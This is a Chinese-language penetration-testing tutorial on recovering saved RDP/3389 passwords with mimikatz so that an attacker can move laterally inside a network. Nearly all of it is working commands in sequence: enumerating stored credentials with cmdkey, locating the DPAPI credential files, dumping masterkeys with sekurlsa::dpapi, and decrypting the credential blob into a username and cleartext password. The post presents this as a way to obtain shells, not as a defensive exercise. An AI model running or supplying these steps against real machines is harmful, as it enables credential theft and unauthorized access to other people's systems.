内网渗透:利用mimikatz查看rdp/3389连接密码

在做内网渗透的时候,往往有的时候如果能得到远程的rdp连接密码,做起横向渗透或者纵向渗透更加容易拿到shell.rdp的密码为什么会被保存起来呢?是因为管理员的在连接的时候对信息凭据进行保存,所以会保存到本地的计算机当中,从而我们可以使用minikatz来进行读取密码的信息.

1. 首先使用cmdkey /list来查看是否有保存的凭据密码信息.

2.使用命令:dir /a %userprofile%\AppData\Local\Microsoft\Credentials* 来查看保存凭据的目录和凭据的值.

在这里我们需要记住两个重点的信息,在稍后我们是需要使用到的.
C:\Users\earnm\AppData\Local\Microsoft\Credentials 的目录
5117847B0601B531BECD17B088FAC578 凭据的值
3.使用mimikatz来进行操作读取密码
dpapi::cred /in:C:\Users\earnm\AppData\Local\Microsoft\Credentials\5117847B0601B531BECD17B088FAC578

在这里我们需要记住guidmasterkey的值,稍后我们需要找到对于的东西
{b5b52126-ff2b-4deb-9e7c-d65bd6b6593e}

3.1 使用这条命令进行把数据保存到c盘的根目录中:mimikatz.exe ““privilege::debug”” ““sekurlsa::dpapi full”” exit >> c:\log.txt

然后我们在txt文件中找到对应的{b5b52126-ff2b-4deb-9e7c-d65bd6b6593e}的值.
MasterKey : c957dc8f2ee8085b05cd42171e2ced901a5755f54249e6de47948db5e7f7858857875f7774b1ac7f1feb42bc73a9eaeebf627b34d31386ef3fbd3563ad2fa202

3.2使用下面的命令进行读取密码的信息
这里使用刚才的目录,加上刚才的值MasterKey就可以进行读取了密码.
mimikatz # dpapi::cred /in:C:\Users\earnm\AppData\Local\Microsoft\Credentials\5117847B0601B531BECD17B088FAC578 /masterkey:c957dc8f2ee8085b05cd42171e2ced901a5755f54249e6de47948db5e7f7858857875f7774b1ac7f1feb42bc73a9eaeebf627b34d31386ef3fbd3563ad2fa202


这里的username就是账户,credentialblob就是账号密码.